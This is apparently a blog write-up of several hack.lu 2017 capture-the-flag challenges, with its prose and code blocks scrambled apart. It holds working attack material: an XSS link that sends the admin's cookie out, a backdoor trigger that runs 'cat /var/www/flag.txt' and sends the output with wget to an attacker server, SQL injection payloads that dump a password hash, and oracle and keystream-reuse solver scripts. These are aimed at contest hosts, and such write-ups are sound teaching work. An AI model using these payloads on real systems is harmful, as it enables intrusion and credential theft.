We found this Flag-Submission-Service that is used by the OTHER-SIDE. Try to get it to submit the flag to you!
View source give us the source of this challenge:
<!-- <a href="/static/source.zip">Source</a> -->
Index file validating the input text and do the secret:
# views.py ... @app.route('/', methods=['GET', 'POST']) def index(): form = DNSServer() if form.validate_on_submit(): ip = correct_dnssec(form.dnsip.data, app.config['DOMAIN']) if ip: if check_ipv4(ip): send_secret(ip, app.config['FLAG'], app.config['PORT']) flash('Sending data ... ', 'success') else: flash('Error!', 'error') return render_template('index.html', form=form) ... # utils.py ... def correct_dnssec(nsaddr, domain): # name = dns.name.from_text(domain) key = { name: dns.rrset.from_text( domain, 3600, 'IN', 'DNSKEY', '256 3 7 AwEAAeJd3Xyd8l3rWDx46UwPMyLOSVcbuwDgEvt2iEWTAghVbpw5M2YN 0GxUqa6vWI/RAhSynF4fxSvp1z3PnKBFle/Qxz7MzfPgH0spzriWsP8k qjs0Y9/xJU0tzZJ2TrIypdmEqpKtMbs3gRrrADz8pr/AdI7bjvX4r6Oh ty04lG8zyj1wwuWXi/oVfk1rTD9I2aq7SWK9REnueUFRsshMLQK5Vgpo Row0HmrE7Peg59lFFSi54rSJivb/4Tb0P8AtIlIUW0ZZOR9E/MsswWFZ Qw56A0Z5LJK4t8RmV5+vAhflNn/uTSEOpC08vUqkNQbOBXr1Ie/t57H6 ywvsKwEYo9s=', '257 3 7 AwEAAdth+HteT0kUim5+hOkyTpMU1FbNfxjn7otvpcA0ZSb/37Tr+WRJ l1nmzHkmrW+gJuzj5M+1QPEv41CujWe8EdGOyA3jM2KENj7NMdiNjh1G puzQa7YFxR4z5SG8+M5zvO5F3CTFWU5tZCTzkvk4Zbs5aJ3RZ6Zk1EBK xwoKz1CGCoedBM1VcKwJ2H+NT15m1cb/AfsSEljTyvruUUiJo84+MRPh luYtPrVKIwnHe6qxvhLSvpG0HFNNkBudy/TOf7C51zmdkpW+3hvbzp/I 79LEuXyYwXft4vpxKNv4zTGOoXNrBAxHcfmvAJsplIzSGcM84yRD+oWm Pu/WF+ESuPv9bmws0hZ2L2+dLpKZjDjb8ppxFS/zJFfWqqErRWssQo64 4lET6m2qET1g22YeB5iLAhVfAmTMZtxnhLqSHJ1EdQIwKm3RJfUsr+z+ Wxb9BZS/P2OSUsSzLOQ7hWjViCE45JMW0gGnMrvSeloAePtvYasfBjaT IDhW2knhKVr2ZoJ6I7pvZBrc/hLB2NGiFaN2otLwIX6InRTT8zrndDY8 uXwVsrBH/4UXy0CIf0PNwjqyFTALSx2DYGW1aU9y0wiZbX5h3msJGRO3 eiHP6QNv+bQJ3f1isMuaAFXT07gcfrAVYT72clU5Nep1Dp6hBfmkfnGT jhiPj16+cfJerrIP' ) } request = dns.message.make_query(domain, dns.rdatatype.A, want_dnssec=True) try: request = dns.query.udp(request, nsaddr, timeout=7) except: return False answer = request.answer if len(answer) < 2: # dnsserc not supported return False else: try: dns.dnssec.validate(answer[0], answer[1], key) return str(answer[0].to_rdataset()[0]) except: # dnssec failed return False
So this problem is faking DNS and *bypass* the dnssec checker function, after a while trying to crack that public key, i found out that the source contain .git
, checkout the branch eddb23375ea4e08c67a63088ea08b4d5fc18a406
give us the private keys and that’s enough to build a dns server for this problem.
Everything is controlled by the Triangle!
It’s just a basic js-only webpage which check login by following function: These methods defined in So both Rewrite these functions using php: Then it’s easy to revert these functions: And then it’s easy to get the code: It’s a markdown-rendering service which we can test output of their internal markdown renderer and can submit messages to admin using markdown. We use mistune.Renderer(escape=True, hard_wrap=True) The admin will look at your converted Markdown. The admin will click on links (<a/>). DnSoSecure - hacklu 2017 So this problem is definitely XSS and require us to obtain cookie of admin. Finding source of mistune give us So Taking part in elite, exclusive groups entails being able to hide secrets from the lesser folk and only provide it to the gifted. Our intern recently proposed a solution to do just that. nc flatearth.fluxfingers.net 1718 Problem source: For each new session, the server create a new random message, allow us to We can easily findout the secret message by enumerating each byte, except for byte 0 and 4 we need to enumerate 2 bytes, but only enumerating the 4 MSBs are enough, so 1 + 256*2 + 16*6 = 609 tries in worst case, which’s very enough. Hey there fellow lizard how nice of you to drop by! Did you know those filthy humans really think that some numbers have special meanings? Seven, 13 and for some strange reason even 9000. Go and show them that a good prime does not make a secure cryptosystem! This problem encrypt message by using some big exponent as private key, provide us the cipher message and a hint number. Looking at The Flat Earth Society has a secret information storage. There is enough evidence in it, to convince every member of them, that the earth is round. Unfortunately, we don’t have the key … This problem provide an encryption named salsa20, send the message with flag encrypted, and allow us to encrypt 8192 bytes of data. Bellowing is the main implementation of the encryption: It clearly shows us that this encryption is just xor the input buffer with a keystrem, and that So, That’s enough to code the solver: The archive provide us a shared file So we can trigger the backdoor by first including so it will search for all 34 bytes of needle, check if that buffer continues with replace all So let’s calculate the needle at that state: Which give us And then finally we can start The Professor on Flat Earth is Prof. Flux Horst. Only for bragging he made his own Blog showcasing his favorite Papers. Beeing the only Professor, he thinks he is the smartest Person arround the Plate. Can you proof him wrong and log into his Admin-Panel? The login.php source contain: So let’s try appending ?debug to that file, which show us the source code: That’s clearly sqlite injection, we can obtain the schema by And then the admin record: So just scrape all the pdfs and look for the password Password is Maya society was broken into a class structure with four main levels: the nobility (Maya almehenob), the priesthood (Maya ahkinob), the common people (Maya ah chembal uinieol), and the slaves (Maya ppencatob). The most powerful of the ruling elite was known as the halach uinic. The halach uinic are alive and still secretly hold meetings today. You have to reverse engineer their communication and infiltrate the ruling elite. Link The webpage has a download button which provide a loading with IDA give us So this main file will do something starting from a string which create from current date, the original webpage contains and then just try every timestamp starting from 2012-01-01 will give us the password @ 2012-12-21:function login(){
var input = document.getElementById('password').value;
var enc = enc_pw(input);
var pw = get_pw();
if(test_pw(enc, pw) == 1){
alert('Well done!');
}
else{
alert('Try again ...');
}
}
secret.js
, simple deobfucating give us:function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye"))),
r = 4096,
m = 8192,
R = 12288,
a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m), a.reg_write_i32(uc.ARM_REG_R10, R), a.reg_write_i32(uc.ARM_REG_R8, _.length), a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL), a.mem_write(m, stoh(_)), a.mem_map(R, 4096, uc.PROT_ALL), a.mem_write(R, stoh(e));
var u = r,
c = r + o1.length;
return a.emu_start(u, c, 0, 0), a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei"))),
t = 4096,
r = 8192,
m = 12288,
R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r), R.reg_write_i32(uc.ARM_REG_R9, m), R.reg_write_i32(uc.ARM_REG_R10, e.length), R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL), R.mem_write(r, stoh(e)), R.mem_map(m, 4096, uc.PROT_ALL);
var o = t,
u = t + o2.length;
return R.emu_start(o, u, 0, 0), htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
return _
}
test_pw
and enc_pw
use Unicorn to emulate some ARM code, obtaining these memory images and load into IDA give us:ROM:00000000 sub_0
ROM:00000000 MOV R0, R9
ROM:00000004 MOV R1, R10
ROM:00000008 MOV R3, R8
ROM:0000000C MOV R4, #0
ROM:00000010 MOV R5, #0
ROM:00000014 MOV R12, #0
ROM:00000018
ROM:00000018 loop ; CODE XREF: sub_0+4C↓j
ROM:00000018 LDRB R2, [R0]
ROM:0000001C LDRB R6, [R1]
ROM:00000020 ADD R6, R6, #5
ROM:00000024 AND R12, R4, #1
ROM:00000028 CMP R12, #0
ROM:0000002C BEQ r4_le
ROM:00000030 SUB R6, R6, #3
ROM:00000034
ROM:00000034 r4_le ; CODE XREF: sub_0+2C↑j
ROM:00000034 CMP R2, R6
ROM:00000038 BNE fail
ROM:0000003C ADD R0, R0, #1
ROM:00000040 ADD R1, R1, #1
ROM:00000044 ADD R4, R4, #1
ROM:00000048 CMP R4, R3
ROM:0000004C BLT loop
ROM:00000050 MOV R5, #1
ROM:00000054
ROM:00000054 fail ; CODE XREF: sub_0+38↑j
ROM:00000054 MOV R0, #0
ROM:00000058 MOV R1, #0
ROM:0000005C MOV R2, #0
ROM:00000060 MOV R3, #0
ROM:00000064 MOV R4, #0
ROM:00000068 MOV R6, #0
ROM:0000006C MOV R7, #0
ROM:00000070 MOV R8, #0
ROM:00000074 MOV R9, #0
ROM:00000078 MOV R10, #0
ROM:0000007C MOV R12, #0
ROM:0000007C ; End of function sub_0
ROM:00000000 sub_0
ROM:00000000 MOV R0, R8
ROM:00000004 MOV R1, R9
ROM:00000008 MOV R2, R10
ROM:0000000C MOV R3, #0
ROM:00000010 MOV R5, #0
ROM:00000014
ROM:00000014 loop ; CODE XREF: sub_0+44↓j
ROM:00000014 LDRB R4, [R0]
ROM:00000018 CMP R5, #1
ROM:0000001C BNE r4_branch
ROM:00000020 AND R6, R3, #3
ROM:00000024 ADD R4, R4, R6
ROM:00000028
ROM:00000028 r4_branch ; CODE XREF: sub_0+1C↑j
ROM:00000028 ADD R4, R4, #6
ROM:0000002C AND R5, R4, #1
ROM:00000030 STRB R4, [R1]
ROM:00000034 ADD R0, R0, #1
ROM:00000038 ADD R1, R1, #1
ROM:0000003C ADD R3, R3, #1
ROM:00000040 CMP R3, R2
ROM:00000044 BLT loop
ROM:00000048 MOV R0, #0
ROM:0000004C MOV R1, #0
ROM:00000050 MOV R2, #0
ROM:00000054 MOV R3, #0
ROM:00000058 MOV R4, #0
ROM:0000005C MOV R5, #0
ROM:00000060 MOV R6, #0
ROM:00000064 MOV R7, #0
ROM:00000068 MOV R9, #0
ROM:0000006C MOV R10, #0
ROM:0000006C ; End of function sub_0
<?php
function test_pw($e, $p) {
for($i=0;$i<strlen($p);$i++) {
if (ord($e[$i]) !== ord($p[$i]) - (($i%2)?2:5)) return false;
}
return true;
}
function enc_pw($p) {
$len = strlen($p);
$last_is_odd = 0;
$res = "";
for($i=0;$i<$len;$i++) {
$c = ord($p[$i]) + (($last_is_odd)?($i%4):(0)) + 6;
$res .= chr($c);
$last_is_odd = $c % 2;
};
return $res;
}
?>
<?php
function get_pw_from_test($p){
$r = "";
for($i=0;$i<strlen($p);$i++) {
$r.=chr(ord($p[$i]) - (($i%2)?2:5));
}
return $r;
}
function dec_pw($p) {
$r = "";
for($i=strlen($p)-1;$i>=0;$i--){
$last_is_odd = $i>0 && ord($p[$i-1]) % 2;
$r = chr(ord($p[$i]) - 6 - ($last_is_odd?($i%4):0)).$r;
}
return $r;
}
?>
<?php
$enc_pass = get_pw_from_test(get_pw());
var_dump(test_pw($enc_pass, get_pw()));
$pass = dec_pw($enc_pass);
var_dump(enc_pw($pass)==$enc_pass);
var_dump($pass, $enc_pass);
?>
# https://github.com/lepture/mistune/blob/master/mistune.py
...
_scheme_blacklist = ('javascript:', 'vbscript:')
...
def escape_link(url):
"""Remove dangerous URL schemes like javascript: and escape afterwards."""
lower_url = url.lower().strip('\x00\x1a \n\r\t')
for scheme in _scheme_blacklist:
if lower_url.startswith(scheme):
return ''
return escape(url, quote=True, smart_amp=False)
javascript:
scheme urls will be black out, but we can easily bypass that by using carriage return character "javascript\r:document.location.href=(...)+document.cookie"
, and then just wait for the flag, we can input that carriage return by running command in console:$("textarea").replaceWith($('<input type="hidden" name="text"/>').val('[link](javascript\r:document.location.href=(...)+document.cookie)'))
#!/usr/bin/python2
import flag from flag
from base64 import b64decode
from SocketServer import ThreadingTCPServer
from sys import argv
from binascii import hexlify, unhexlify
import SocketServer
import os
N = 8
MAX_TRIES = 1024
PAD = 64
welcome = "Welcome! :-)\n"
menu = "What would you like to do:\n\t1: supply encoded input,\n\t2: tell me my secret\n> "
def gen_secret():
return os.urandom(N)
def crypt(s1, s2):
return "".join(map(lambda c: chr(((ord(c[0])^ord(c[1]))+PAD)%256), zip(s1,s2)))
b64chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"
def decode(s, secret):
enc = ""
s = crypt(s, secret)
for c in s:
if c in b64chars:
enc+=c
if len(enc) % 4 == 1:
enc = enc[:-1]
while len(enc) % 4 != 0:
enc+="="
return b64decode(enc)
class B64Handler(SocketServer.BaseRequestHandler):
def setup(self):
self.tries = 0
self.secret = gen_secret()
def handle(self):
self.request.send(welcome)
for i in range(MAX_TRIES):
self.request.send("Round number: {}\n{}".format(i, menu))
if self.request.recv(2)[0] == "1":
self.request.send("What would you like me to decode?\n> ")
answer = self.request.recv(len(self.secret))
decoded = decode(answer, self.secret)
self.request.send("Alright, here is your answer: {}\n".format(decoded))
else:
self.request.send("Alright, what is my secret (hex encoded)?\n> ")
answer = self.request.recv(2*len(self.secret)+1).rstrip()
if answer==hexlify(self.secret):
self.request.send("Well done, here is your flag: {}\n".format(flag))
else:
self.request.send("This was not what I was looking for. :-(\n")
break
self.request.send("Bye!\n")
def main():
SocketServer.ThreadingTCPServer.allow_reuse_address = True
if len(argv) < 2:
print("Usage: {} <PORT>".format(argv[0]))
else:
LOCAL_PORT = int(argv[1])
s = SocketServer.ThreadingTCPServer(("", LOCAL_PORT), B64Handler)
try:
s.serve_forever()
except KeyboardInterrupt:
print("shutting down")
s.shutdown()
s.socket.close()
if __name__ == "__main__":
main()
decode
MAX_TRIES
message with provided crypt
function and then filter only base64 compatible characters into a new string, remove the last character if that string length divide 4 remain 1, and finally base64-decode that string.#!/usr/bin/python
import struct
import socket
import telnetlib
import sys, time
import base64
import string
import re
import random
from binascii import hexlify, unhexlify
import itertools
def recv_utils(s,r,ss):
while all([not(sss in r) for sss in ss]):
sa = s.recv(4096)
r += sa
return r
def check(ss):
s.send("1\n")
recv_utils(s, '', ['What would you like me to decode'])
s.send(ss)
ans = recv_utils(s, '', ['Alright, here is your answer: '])
r = re.search(r'here is your answer: (.*?)\n', ans)
r = r.group(1)
return base64.b64encode(r).rstrip('=')
def decrypt(e, s):
return "".join(map(lambda c: chr(((((ord(c[0])+256-64)%256)^ord(c[1])))%256), zip(e,s)))
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('flatearth.fluxfingers.net', 1718))
if len(check("\x00"*8)) and len(check("\x01"*8)) > 0:
s.close()
continue
buf = ["\x00"] * 8
ss = True
i = 0
while i < 8:
print "Check %d" % (i)
nlen = 2 if (i%4)==0 else 1
ssfail = 0
for ntry in range(16**nlen):
sys.stdout.write(str(ntry%10))
sys.stdout.flush()
if nlen == 1:
buf[i] = chr(ntry*16+1)
else:
buf[i ] = chr((ntry//16)*16+1)
buf[i+1] = chr((ntry%16)*16+15-1)
chk = check("".join(buf))
if len(chk)<i:
sys.stdout.write('.')
sys.stdout.flush()
continue
if len(chk)>=i+nlen:
break
else:
ssfail += 1
print
if ssfail == 16**nlen:
ss = False
break
i += nlen
if not(ss):
s.close()
continue
buf = "".join(buf)
enc = check(buf)
print 'buf = ', buf.encode("hex")
print 'enc = ', enc.encode("hex")
x = decrypt(enc, buf)
print 'x = ', x
s.send("2\n" + hexlify(x)+"\n")
r = recv_utils(s, '', ['flag', 'looking for'])
print r
if 'flag' in r:
break
from secret import flag, key
f = open('ciphertext.txt', 'w')
p = 104438888...4758453247 # 1234 characters number
g = 5
A = 102631253....429994312 # 1234 characters number
d = key
m = int(flag.encode('hex'), 16) % p
B = pow(g, d, p)
k = pow(A, d, p)
c = k * m % p
f.write(str(B) + '\n')
f.write(str(c) + '\n')
f.close()
ciphertext.txt
show that B == p - 1
, so g^d = -1 mod p
, so d maybe (p-1)/2, just try it and that give us the flag:#!/usr/bin/python
from fractions import gcd
B = 1044388881413152506679602719846529545831269060992135009022588756444338172022322690710444046669809783930111585737890362691860127079270495454517218673016928427459146001866885779762982229321192368303346235204368051010309155674155697460347176946394076535157284994895284821633700921811716738972451834979455897010306333468590751358365138782250372269117968985194322444535687415522007151638638141456178420621277822674995027990278673458629544391736919766299005511505446177668154446234882665961680796576903199116089347634947187778906528008004756692571666922964122566174582776707332452371001272163776841229318324903125740713574141005124561965913888899753461735347970011693256316751660678950830027510255804846105583465055446615090444309583050775808509297040039680057435342253926566240898195863631588888936364129920059308455669454034010391478238784189888594672336242763795138176353222845524644040094258962433613354036104643881925238489224010194193088911666165584229424668165441688927790460608264864204237717002054744337988941974661214699689706521543006262604535890998125752275942608772174376107314217749233048217904944409836238235772306749874396760463376480215133461333478395682746608242585133953883882226786118030184028136755970045385534758453246
p = 1044388881413152506679602719846529545831269060992135009022588756444338172022322690710444046669809783930111585737890362691860127079270495454517218673016928427459146001866885779762982229321192368303346235204368051010309155674155697460347176946394076535157284994895284821633700921811716738972451834979455897010306333468590751358365138782250372269117968985194322444535687415522007151638638141456178420621277822674995027990278673458629544391736919766299005511505446177668154446234882665961680796576903199116089347634947187778906528008004756692571666922964122566174582776707332452371001272163776841229318324903125740713574141005124561965913888899753461735347970011693256316751660678950830027510255804846105583465055446615090444309583050775808509297040039680057435342253926566240898195863631588888936364129920059308455669454034010391478238784189888594672336242763795138176353222845524644040094258962433613354036104643881925238489224010194193088911666165584229424668165441688927790460608264864204237717002054744337988941974661214699689706521543006262604535890998125752275942608772174376107314217749233048217904944409836238235772306749874396760463376480215133461333478395682746608242585133953883882226786118030184028136755970045385534758453247
g = 5
A = 1026312539297800437474663698165859314949881437729617621666434357798219198741950468733395500361477359726152747087790103309627020498122003777642051150130697457594304849673838709900017711265818285080832347734747895550397950729716624922572654209637755195129162139245110756558638081495998280747642920484467428206475906559638681536868548289456924005274209311355030582255692087426910634838198143851507435754029135363794578075936092774722678311786272841489629294721103591751528609388061794369341067986401129462942050916582521451289187645626081017578576190303952351748434876686541368607656026867091583868645619423975306245327421218767449273192101105293424028461698783545171866070124432565063559495566733441286372612161876492134408160732339966921175762866198980795890946054558528891296203285979664329713156129091098226212735763844909789916934266711879564086741733061623347281499025678164709559814150194881622611023214199434022258730549350019749882889143749385314934896284396513061241138504029046053964944026179039768718830854958634216721133676746317913559932277050177463811150719675119168868527853864167729206220819613297736800799391257602899169041109002518019207734013899840092155297682096290489330476118066934735827328128343402508975429994312
m = 626538023179183383530326775878874061243537575637678230775990839517480703838547661223043351239918394865532739593994849154430591305198322288328417436892902443505917379006443598061697092201021536603987285163299838045075649512028921956548205676208712226470308113290505059049053554206416767772651512039632936795232724801922443388952796545084060280910673215063573749033668717290815841834685051547255093401042248880082370281195663905731764841136214458769095907569163184276786105979509363239839613385785232307550226120692268670717158539363476974302593377514937470953649913863219081380729197866499068054753726732556988368232198510160183731571741889761632557457157261911256679728707526809880224074940827825962124087677609578885077944156589121586951372962667391498824853627326311588259929756093569512874696625507873168095797130866697040006079191565592914811736694534863664544646201900855732710994613768016495896341014229622129847800138058041138449691835652916517559125407914079964177419733079221280850917496784527992741048638603428068452948455069671414667008770873913118369984179054902139270844669700487715140145038503768704763641223894377872853332484296603268546135216483844722413025955229649646292980986542646384960063297213437076185709400450
def xgcd(b, n):
x0, x1, y0, y1 = 1, 0, 0, 1
while n != 0:
q, b, n = b // n, n, b % n
x0, x1 = x1, x0 - q * x1
y0, y1 = y1, y0 - q * y1
return b, x0, y0
ainv = xgcd(A, p)[1]
print (A*ainv % p)
print (p - B)
assert(pow(g, (p-1)/2, p) == p-1)
d = (p-1)/2
m = m * pow(ainv, d, p) % p
print hex(m)[2:-1].decode("hex")
nc flatearth.fluxfingers.net 1721KEY = os.urandom(32)
class TCPHandler(asyncore.dispatcher_with_send):
def __init__(self, socket):
asyncore.dispatcher_with_send.__init__(self, socket)
self.Nonce = os.urandom(8)
self.MsgCounter = 0
self.sendMessage("Hello my dear friend, the flag is %s!" % FLAG)
def sendMessage(self, data):
text = base64.b64encode(data)
for i in range(0, len(text), 128):
msg = {"cnt" : self.MsgCounter, "data" : text[i: i+128]}
msgtext = json.dumps(msg)
encdata = salsa20.s20_crypt(KEY, self.Nonce, self.MsgCounter, msgtext)
self.MsgCounter += 1
self.send(encdata)
def handle_read(self):
data = self.recv(8192)
if data:
self.sendMessage(data)
def s20_crypt(key, nonce, si, data):
key = [ord(c) for c in key]
nonce = [ord(c) for c in nonce]
n = [0] * 16
for i in range(8):
n[i] = nonce[i]
if (si % 64) != 0:
b0, b1, b2, b3 = s20_rev_littleendian(si / 64)
n[8] = b0
n[9] = b1
n[10] = b2
n[11] = b3
keystream = s20_expand32(key, n)
print "x", ''.join(map(chr, keystream)).encode("hex")
outp = ""
for i, c in enumerate(data):
if ((si+i) % 64) == 0:
b0, b1, b2, b3 = s20_rev_littleendian((si+i) / 64)
n[8] = b0
n[9] = b1
n[10] = b2
n[11] = b3
keystream = s20_expand32(key, n)
print "y", ''.join(map(chr, keystream)).encode("hex")
outp += chr(ord(c) ^ keystream[(si+i) % 64])
return outp
keystream
is shifted by one for each new cryption (controlled by si
).C1 = M1 xor Keystream1
C2 = M2 xor Keystream2
Keystream2 = Keystream1[1:]
M1[1:] = C1[1:] xor Keystream1[1:]
= C1[1:] xor Keystream2
= C1[1:] xor C2 xor M2
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys, time
import string, base64, json
import re
import salsa20
def sxor(s1,s2):
return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
def recv_utils(s,r,ss):
while all([not(sss in r) for sss in ss]):
sa = s.recv(4096)
#print sa
r += sa
return r
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('flatearth.fluxfingers.net', 1721))
keybuf = s.recv(4096)
print len(keybuf), keybuf.encode('hex')
s.send('\x00' * 8192)
abuf = ''
while len(abuf) < 8192:
abuf += s.recv(409600)
print abuf.encode('hex')
msg = {"cnt" : 1, "data" : "A"*128}
msgtext = json.dumps(msg)
print sxor(sxor(keybuf[1:], abuf[:]), msgtext)
#kk = "AAAAAAAAAAAAAAAAAAAAAAA" * 10
#encdata1 = salsa20.s20_crypt("\xBB"*32, "\xAA"*8, 0, "hello world | xyz | abc" * 10)
#encdata2 = salsa20.s20_crypt("\xBB"*32, "\xAA"*8, 2, kk)
#
#print '-', len(encdata1), encdata1.encode('hex')
#
#print sxor(sxor(encdata1[2:], encdata2[:]), kk)
backdoor.so
, which override strlen
function:__int64 __fastcall strlen(const char *s_1)
{
size_t slen; // rsi
__int64 result; // rax
char *shell_buf; // rax
signed int i; // [rsp+1Ch] [rbp-134h]
__int64 (__fastcall *old_strlen)(const char *, const char *); // [rsp+20h] [rbp-130h]
char *v6; // [rsp+28h] [rbp-128h]
char *v7; // [rsp+30h] [rbp-120h]
char *s; // [rsp+38h] [rbp-118h]
char *sa; // [rsp+38h] [rbp-118h]
char needle[256]; // [rsp+40h] [rbp-110h]
char v11; // [rsp+140h] [rbp-10h]
unsigned __int64 v12; // [rsp+148h] [rbp-8h]
v12 = __readfsqword(0x28u);
old_strlen = (__int64 (__fastcall *)(const char *, const char *))dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "strlen");
if ( !strcmp("GET", s_1) )
++trigger;
slen = (size_t)"ndex.html";
v7 = strstr(s_1, "ndex.html");
if ( v7 && apr_hook_debug_enabled )
{
apr_hook_debug_enabled >>= 8;
*(v7 - 1) += apr_hook_debug_enabled;
apr_hook_debug_enabled = 0;
counter = 0;
result = old_strlen(s_1, "ndex.html");
}
else
{
memset(needle, 0, sizeof(needle));
v11 = 0;
for ( i = 0; i <= 511; i += 9 )
{
slen = (unsigned int)(((g_idx[0] & 1) + i) % 24 + 'a');
needle[i % 35] = ((g_idx[0] & 1) + i) % 24 + 'a';
}
needle[g_idx[0]] = 0;
if ( trigger & 1 )
{
++g_idx[0];
if ( counter <= 1 )
++counter;
if ( g_idx[0] > 1u )
{
slen = old_strlen(s_1, (const char *)slen);
s = (char *)memmem(s_1, slen, needle, 34uLL);
if ( s )
{
*s = 0;
shell_buf = &s[strlen(needle)];
sa = shell_buf + 1;
if ( *shell_buf == '=' )
{
while ( 1 )
{
slen = '_';
v6 = strchr(sa, '_');
if ( !v6 )
break;
*v6 = ' ';
}
apr_hook_debug_enabled = system(sa);
}
}
}
}
if ( counter > 1 )
counter = 0;
result = old_strlen(s_1, (const char *)slen);
}
return result;
}
ndex.html
in the url, in order to execute apr_hook_debug_enabled = system(sa);
line, all the parent if must be satisfied:if ( trigger & 1 )
trigger
is an increasing number, so this will trigger once every 2 requests.if ( g_idx[0] > 1u )
g_idx[0]
is also an increasing number whenever the first if is satisfied.slen = old_strlen(s_1, (const char *)slen);
s = (char *)memmem(s_1, slen, needle, 34uLL);
if ( s )
if ( *shell_buf == '=' )
=
,while ( 1 )
{
slen = '_';
v6 = strchr(sa, '_');
if ( !v6 )
break;
*v6 = ' ';
}
apr_hook_debug_enabled = system(sa);
_
with space and then execute that buffer.#include <iostream>
using namespace std;
int main(int argc, char *argv[]) {
char needle[256];
char g_idx[1] = {35};
memset(needle, 0, sizeof(needle));
for (int i = 0; i <= 511; i += 9 )
{
needle[i % 35] = ((g_idx[0] & 1) + i) % 24 + 97;
}
needle[g_idx[0]] = 0;
cout << needle << endl;
}
netcat
on our server and use wget to send commands output to our server:file_get_contents('https://indianer.flatearth.fluxfingers.net/ndex.html');
for($i=0;$i<40;$i++) {
echo file_get_contents('https://indianer.flatearth.fluxfingers.net/eqeqeqbnbnbnbnbkwkwkwkwhththththqeq=wget_http://$server:$port/`'.str_replace(' ','_','cat /var/www/flag.txt').'`');
}
Linkrobots.txt
provides us:User-agent: *
Disallow: /login.php
Disallow: /admin.php
<!-- TODO: Remove ?debug-Parameter! -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>
<div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>
<h1>Login</h1>
Login Page, do not try to hax here plox!<br>
<form method="post">
ID:<br>
<input type="text" name="usr">
<br>
Password:<br>
<input type="text" name="pw">
<br><br>
<input type="submit" value="Submit">
</form>
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
usr=' union select 1,(select sql from sqlite_master limit 1)--&pw=
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
usr=' union select 1,(select id || '; ' || name || '; ' || password || '; ' || hint from Users limit 1)--&pw=
1; admin; 3fab54a50e770d830c0416df817567662a9dc85c; my fav word in my fav paper?!
foreach(glob("pdfs/*.pdf") as $pdf){
passthru("pdftotext $pdf");
$txt = file_get_contents(substr($pdf, 0, -4) . ".txt");
preg_match_all("@[^\n\r\t\s]+@", $txt, $m);
foreach($m[0] as $l) {
if (sha1($l."Salz!")=="3fab54a50e770d830c0416df817567662a9dc85c") {
die($l);
}
}
}
ThinJerboa
, logging into admin.php give us the flag:launcher
file:$ file launcher
launcher: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=464269c36073a8820e69146b00cc8e68d1f50718, stripped
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
size_t v3; // rbx
size_t v4; // rax
size_t v6; // rax
size_t v7; // rax
__int64 v8; // rdi
time_t timer; // [rsp+18h] [rbp-128h]
char v10[8]; // [rsp+20h] [rbp-120h]
char src; // [rsp+40h] [rbp-100h]
char s; // [rsp+60h] [rbp-E0h]
__int64 v13; // [rsp+C8h] [rbp-78h]
char v14; // [rsp+D4h] [rbp-6Ch]
char v15; // [rsp+DDh] [rbp-63h]
char v16; // [rsp+E6h] [rbp-5Ah]
char v17; // [rsp+EFh] [rbp-51h]
void (__cdecl *v18)(__int64); // [rsp+F8h] [rbp-48h]
__int64 v19; // [rsp+100h] [rbp-40h]
char *v20; // [rsp+108h] [rbp-38h]
char *dest; // [rsp+110h] [rbp-30h]
int *v22; // [rsp+118h] [rbp-28h]
size_t v23; // [rsp+120h] [rbp-20h]
struct tm *tp; // [rsp+128h] [rbp-18h]
strcpy(v10, ".fluxfingers.net");
timer = time(0LL);
tp = localtime(&timer);
strftime(&s, 0x63uLL, "%Y-%m-%d", tp);
v23 = strlen(&s);
sub_B5A(&s, v23);
v22 = &dword_2030B8;
snprintf(
&v17,
9uLL,
"%02x%02x%02x%02x",
(unsigned __int8)dword_2030B8,
BYTE1(dword_2030B8),
BYTE2(dword_2030B8),
HIBYTE(dword_2030B8));
v22 = &dword_2030C0;
snprintf(
&v16,
9uLL,
"%02x%02x%02x%02x",
(unsigned __int8)dword_2030C0,
BYTE1(dword_2030C0),
BYTE2(dword_2030C0),
HIBYTE(dword_2030C0));
v22 = &dword_2030B4;
snprintf(
&v15,
9uLL,
"%02x%02x%02x%02x",
(unsigned __int8)dword_2030B4,
BYTE1(dword_2030B4),
BYTE2(dword_2030B4),
HIBYTE(dword_2030B4));
